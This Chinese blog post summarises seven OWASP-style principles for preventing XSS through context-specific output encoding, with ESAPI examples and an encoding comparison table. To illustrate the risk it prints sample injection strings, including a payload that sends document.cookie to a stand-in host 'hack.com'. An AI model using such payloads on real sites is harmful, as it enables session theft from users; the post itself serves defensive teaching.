本人最近在学习XSS,想总结一下常见的XSS攻击的几种情况,刚好看到《防御 XSS 的七条原则》这篇文章,里面讲的七条防御原则不正是针对XSS的几种利用方式吗?于是,借来学习一下。  

  原则1:“Secure By Default”不要在页面中插入任何不可信数据,除非这些数已经据根据下面几个原则进行了编码

  之所以有这样一条原则存在,是因为HTML里有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差别,比如有些漏洞发生在HTML标签里,有些发生在HTML标签的属性里,还有的发生在页面的<Script>里,甚至有些还出现在CSS里,再加上不同的浏览器对页面的解析或多或少有些不同,使得有些漏洞只在特定浏览器里才会产生。如果想要通过XSS过滤器(XSS Filter)对不可信数据进行转义或替换,那么XSS过滤器的过滤规则将会变得异常复杂,难以维护而且会有被绕过的风险。

  1. 直接插入到SCRIPT标签里
  2. <script>…不要在这里直接插入不可信数据…</script>
  3.  
  4. 插入到HTML注释里
  5. <!– …不要在这里直接插入不可信数据… –>
  6.  
  7. 插入到HTML标签的属性名里
  8. <div 不要在这里直接插入不可信数据=”…”></div>
  9.  
  10. 插入到HTML标签的属性值里
  11. <div name=”…不要在这里直接插入不可信数据…”></div>
  12.  
  13. 作为HTML标签的名字
  14. <不要在这里直接插入不可信数据 href=”…”></a>
  15.  
  16. 直接插入到CSS
  17. <style>…不要在这里直接插入不可信数据…</style>

  原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码

  在这里相当强调是往HTML标签之间插入不可信数据,以区别于往HTML标签属性部分插入不可信数据,因为这两者需要进行不同类型的编码。当你确实需要往HTML标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行HTML Entity编码。比如,我们经常需要往DIV,P,TD这些标签里放入一些用户提交的数据,这些数据是不可信的,需要对它们进行HTML Entity编码。很多Web框架都提供了HTML Entity编码的函数,我们只需要调用这些函数就好,而有些Web框架似乎更“智能”,比如Rails,它能在默认情况下对所有插入到HTML页面的数据进行HTML Entity编码,尽管不能完全防御XSS,但着实减轻了开发人员的负担。

  1. <body>…插入不可信数据前,对其进行HTML Entity编码…</body>
  2.  
  3. <div>…插入不可信数据前,对其进行HTML Entity编码…</div>
  4.  
  5. <p>…插入不可信数据前,对其进行HTML Entity编码…</p>
  6.  
  7. 以此类推,往其他HTML标签之间插入不可信数据前,对其进行HTML Entity编码

  [编码规则]

  HTML Entity需要对下面这6个特殊字符进行编码:

  1.   & –> &amp;
  2.  
  3.   < –> &lt;
  4.  
  5.   > –> &gt;
  6.  
  7.    –> &quot;
  8.  
  9.    –> '
  10.  
  11.   / –> /

  有两点需要特别说明的是:

  • 不推荐将单引号( ‘ )编码为 &apos; 因为它并不是标准的HTML标签
  • 需要对斜杠号( / )编码,因为在进行XSS攻击时,斜杠号对于关闭当前HTML标签非常有用

  推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用:

  1. String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));

  原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码

  这条原则是指,当你要往HTML属性(例如width、name、value属性)的值部分(data value)插入不可信数据的时候,应该对数据进行HTML属性编码。不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,本条原则不适用,应该用下面介绍的原则4对其进行JavaScript编码。

  1. <div attr=…插入不可信数据前,进行HTML属性编码…></div>
  2. 属性值部分没有使用引号,不推荐
  3.  
  4. <div attr=’…插入不可信数据前,进行HTML属性编码…’></div>
  5. 属性值部分使用了单引号
  6.  
  7. <div attr=”…插入不可信数据前,进行HTML属性编码…”></div>
  8. 属性值部分使用了双引号

  [编码规则]

  除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 &#xHH; (以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符)

  之所以编码规则如此严格,是因为开发者有时会忘记给属性的值部分加上引号。如果属性值部分没有使用引号的话,攻击者很容易就能闭合掉当前属性,随后即可插入攻击脚本。例如,如果属性没有使用引号,又没有对数据进行严格编码,那么一个空格符就可以闭合掉当前属性。请看下面这个攻击:  

  1. 假设HTML代码是这样的:
  2.  
  3.   <div width=$INPUT> content </div>
  4.  
  5.   攻击者可以构造这样的输入:
  6.  
  7.   x onmouseover=”javascript:alert(/xss/)”
  8.  
  9.   最后,在用户的浏览器里的最终HTML代码会变成这个样子:
  10.  
  11.   <div width=x onmouseover=”javascript:alert(/xss/)”> content </div>

  只要用户的鼠标移动到这个DIV上,就会触发攻击者写好的攻击脚本。在这个例子里,脚本仅仅弹出一个警告框,除了恶作剧一下也没有太多的危害,但是在真实的攻击中,攻击者会使用更加具有破坏力的脚本,例如下面这个窃取用户cookie的XSS攻击:

  1.   x /> <script>var img = document.createElement(“img”);img.src = http://hack.com/xss.js?” + escape(document.cookie);document.body.appendChild(img);</script> <div

  除了空格符可以闭合当前属性外,这些符号也可以:

  1.   % * + , / ; < = > ^ | `(反单引号,IE会认为它是单引号)

  可以使用ESAPI提供的函数进行HTML属性编码:

  1. String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));

  原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码

  这条原则主要针对动态生成的JavaScript代码,包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,例如:

  1.   <script>
  2.  
  3.     var message = “<%= encodeJavaScript(@INPUT) %>”;
  4.  
  5.   </script>

  除此之外,往JavaScript代码里其他任何地方插入不可信数据都是相当危险的,攻击者可以很容易地插入攻击代码。

  1. <script>alert(‘…插入不可信数据前,进行JavaScript编码…’)</script>
  2. 值部分使用了单引号
  3.  
  4. <script>x = “…插入不可信数据前,进行JavaScript编码…”</script>
  5. 值部分使用了双引号
  6.  
  7. <div onmouseover=”x=’…插入不可信数据前,进行JavaScript编码…’ “</div>
  8. 值部分使用了引号,且事件处理属性的值部分也使用了引号

  特别需要注意的是,在XSS防御中,有些JavaScript函数是极度危险的,就算对不可信数据进行JavaScript编码,也依然会产生XSS漏洞,例如:

  1.   <script>
  2.     window.setInterval(‘…就算对不可信数据进行了JavaScript编码,这里依然会有XSS漏洞…’);
  3.   </script>

  [编码规则]

  除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \xHH (以 \x 开头,HH则是指该字符对应的十六进制数字)

  在对不可信数据做编码的时候,千万不能图方便使用反斜杠(\)对特殊字符进行简单转义,比如将双引号 ” 转义成 \” ,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击。例如:

  1.   假设代码片段如下:
  2.  
  3.   <script>
  4.  
  5.   var message = $VAR “;
  6.  
  7.   </script>
  8.  
  9.   攻击者输入的内容为:
  10.  
  11.   \”; alert(‘xss’);//
  12.  
  13.   如果只是对双引号进行简单转义,将其替换成 \” 的话,攻击者输入的内容在最终的页面上会变成:
  14.  
  15.   <script>
  16.  
  17.   var message = \\”; alert(‘xss’);// “;
  18.  
  19.   </script>

  浏览器在解析的时候,会认为反斜杠后面的那个双引号和第一个双引号相匹配,继而认为后续的alert(‘xss’)是正常的JavaScript脚本,因此允许执行。

  可以使用ESAPI提供的函数进行JavaScript编码:

  1. String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));

  原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码

  当需要往Stylesheet,Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。传统印象里CSS不过是负责页面样式的,但是实际上它比我们想象的要强大许多,而且还可以用来进行各种攻击。因此,不要对CSS里存放不可信数据掉以轻心,应该只允许把不可信数据放入到CSS属性的值部分,并进行适当的编码。除此以外,最好不要把不可信数据放到一些复杂属性里,比如url, behavior等,只能被IE认识的Expression属性允许执行JavaScript脚本,因此也不推荐把不可信数据放到这里。

  1. <style>selector { property : …插入不可信数据前,进行CSS编码…} </style>
  2.  
  3. <style>selector { property : …插入不可信数据前,进行CSS编码… “} </style>
  4.  
  5. <span style=” property : …插入不可信数据前,进行CSS编码… ”></span>

  [编码规则]

  除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \HH (以 \ 开头,HH则是指该字符对应的十六进制数字)

  同原则2,原则3,在对不可信数据进行编码的时候,切忌投机取巧对双引号等特殊字符进行简单转义,攻击者可以想办法绕开这类限制。

  可以使用ESAPI提供的函数进行CSS编码:

  1. String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));

  原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码

  当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:

  1. <a href=”http://www.abcd.com?param=…插入不可信数据前,进行URL编码…”> Link Content </a>

  [编码规则]

  除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 %HH (以 % 开头,HH则是指该字符对应的十六进制数字)

 在对URL进行编码的时候,有两点是需要特别注意的:

  1) URL属性应该使用引号将值部分包围起来,否则攻击者可以很容易突破当前属性区域,插入后续攻击代码

  2) 不要对整个URL进行编码,因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里,这时需要对数据的起始部分的协议字段进行验证,否则攻击者可以改变URL的协议,例如从HTTP协议改为DATA伪协议,或者javascript伪协议。

  可以使用ESAPI提供的函数进行URL编码:

  1. String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));

  ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:

  1. String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, URL”, 255, false);if (isValidURL) {
  2.  
  3. <a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a>
  4.  
  5. }

  原则7:使用富文本时,使用XSS规则引擎进行编码过滤

  Web应用一般都会提供用户输入富文本信息的功能,比如BBS发帖,写博客文章等,用户提交的富文本信息里往往包含了HTML标签,甚至是JavaScript脚本,如果不对其进行适当的编码过滤的话,则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞,所以就不允许用户输入富文本,这样对用户体验伤害很大。

  针对富文本的特殊性,我们可以使用XSS规则引擎对用户输入进行编码过滤,只允许用户输入安全的HTML标签,如<b>, <i>, <p>等,对其他数据进行HTML编码。需要注意的是,经过规则引擎编码过滤后的内容只能放在<div>, <p>等安全的HTML标签里,不要放到HTML标签的属性值里,更不要放到HTML事件处理属性里,或者放到<SCRIPT>标签里。

  推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer

  附:各种编码对比表

不可信数据将被放置的地方 例子 应该采取的编码 编码格式
HTML标签之间 <div> 不可信数据 </div> HTML Entity编码

&     –>     &amp;

<     –>     &lt;

>     –>     &gt;

”     –>     &quot;

‘     –>     '

/     –>     /

HTML标签的属性里 <input type=”text”value=” 不可信数据 ” /> HTML Attribute编码 &#xHH;
JavaScript标签里 <script> var msg = ” 不可信数据 ” </script> JavaScript编码 \xHH
HTML页面的URL里 <a href=”/page?p= 不可信数据 ” >…</a> URL编码 %HH
CSS里 <div style=” width: 不可信数据 ” > … </div> CSS编码 \HH

XSS跨站攻击(二)的更多相关文章

  1. XSS跨站攻击

    目录 1 XSS跨站攻击简介 1 1.1 什么是XSS 1 1.2 XSS的分类 1 1.3 XSS的危害 1 2 XSS的攻击原理 1 2.1 本地式漏洞攻击 1 2.2 存储式漏洞攻击 2 2.3 ...

  2. 云锁Linux服务器安全软件安装及防护webshell、CC、XSS跨站攻击设置

    无论我们在使用电脑,还是使用VPS/服务器的时候,最为担心的就是服务器是否有安全问题,尤其是网站服务器再遭受攻击的时候如何得到防护.对于大 部分站长用户来说,我们可能只会使用基础的环境,如果真遇到问题 ...

  3. Laravel5中防止XSS跨站攻击的方法

    本文实例讲述了Laravel5中防止XSS跨站攻击的方法.分享给大家供大家参考,具体如下: Laravel 5本身没有这个能力来防止xss跨站攻击了,但是这它可以使用Purifier 扩展包集成 HT ...

  4. 用shell脚本批量进行xss跨站攻击请求

    由于执行的xss攻击请求他多了,初步估计要执行83次,而且还要执行3篇,如果手工一个一个去执行,说出去,我还配叫自动化大师吗: 有鉴于此,边打算自己编写一个脚本进行批量执行: 而短脚本的编写,非she ...

  5. Cross-Site Scripting XSS 跨站攻击全攻略 分类: 系统架构 2015-07-08 12:25 21人阅读 评论(2) 收藏

    原文:http://a1pass.blog.163.com/blog/static/2971373220087295449497/ 题记:这是我在<黑客X档案>08年第5期发表的一篇文章, ...

  6. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  7. web安全性测试——XSS跨站攻击

    1.跨站攻击含义 XSS:(Cross-site scripting)全称"跨站脚本",是注入攻击的一种.其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布 ...

  8. 宽字节XSS跨站攻击

    简介 宽字节跨站漏洞多发生在GB系统编码. 对于GBK编码,字符是由两个字节构成,在%df遇到%5c时,由于%df的ascii大于128,所以会自动拼接%5c,吃掉反斜线.而%27 %20小于asci ...

  9. XSS跨站攻击靶场-通关笔记

    XSS攻击是Web攻击中最常见的攻击手法之一,XSS中文名跨站脚本攻击,该攻击是指攻击者在网页中嵌入恶意的客户端脚本,通常是使用JS编写的恶意代码,当正常用户访问被嵌入代码的页面时,恶意代码将会在用户 ...

  10. xss跨站攻击原理

    https://www.cnblogs.com/frankltf/p/8975010.html 跨站脚本攻击:通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,一旦攻击成功,它可以获取用户 ...

随机推荐

  1. JavaScript数字转字符串,字符串转数字

    //--------------------字符串转数字--------------------------- var s = "234"; //1.纯数字转换 //1 字符串在运 ...

  2. java 性能优化 字符串过滤实战

    转自[http://www.apkbus.com/blog-822717-78335.html]  如有不妥联系删除!! ★一个简单的需求 首先描述一下需求:给定一个 String 对象,过滤掉除了数 ...

  3. 自己来实现一套IOC注解框架

    我们自己来实现一套IOC注解框架吧,采用的方式反射加注解和Xutils类似,但我们尽量不写那么麻烦,也不打算采用动态代理,我们扩展一个检测网络的注解,比如没网的时候我们不去执行方法而是给予没有网络的提 ...

  4. JavaScript函数节流(throttle)与函数去抖(debounce)

    对于浏览器窗口大小改变的时候,来动态改变页面元素的大小,可以采用window的resize事件,实现代码: <script type="text/javascript"> ...

  5. Express4.X中的bin/www是作什么用的?为什么没有后缀?

    使用Express4.X的同学会发现,相比Express3.X初始化项目时多了一个bin目录,并且下面还有一个www文件,那么它们有什么用呢? 在Express 3.x中集成了很多中间件,www和ap ...

  6. go语言练习:文件哈希

    package main import ( "crypto/sha256" "encoding/hex" "fmt" "io&qu ...

  7. 从零自学Java-4.使用字符串来交流

    1.使用字符串来存储文本: 2.在程序中显示字符串: 3.在字符串中包含特殊的字符: 4.拼接字符串: 5.在字符串中包含变量: 6.比较字符串: 7.判断字符串的长度: 程序Credits:显示一部 ...

  8. Python基础一数据类型之数字类型

    摘要: python基础一中提到了数据类型,这里主要讲解的是数字类型. 数字类型: 1,整型 2,长整型 3,浮点型 4,复数型 1,整型(int) 定义a = 1 通过type函数查看数据类型,整型 ...

  9. tomcat上传内容报错

    公司项目报错: o.s.boot.web.support.ErrorPageFilter          :  Forwarding  to  error  page  from  request  ...

  10. Twain Capabilities 转

    转自:http://blog.csdn.net/pamxy/article/details/8629213 Asynchronous Device Events   异步设备事件 CAP_DEVICE ...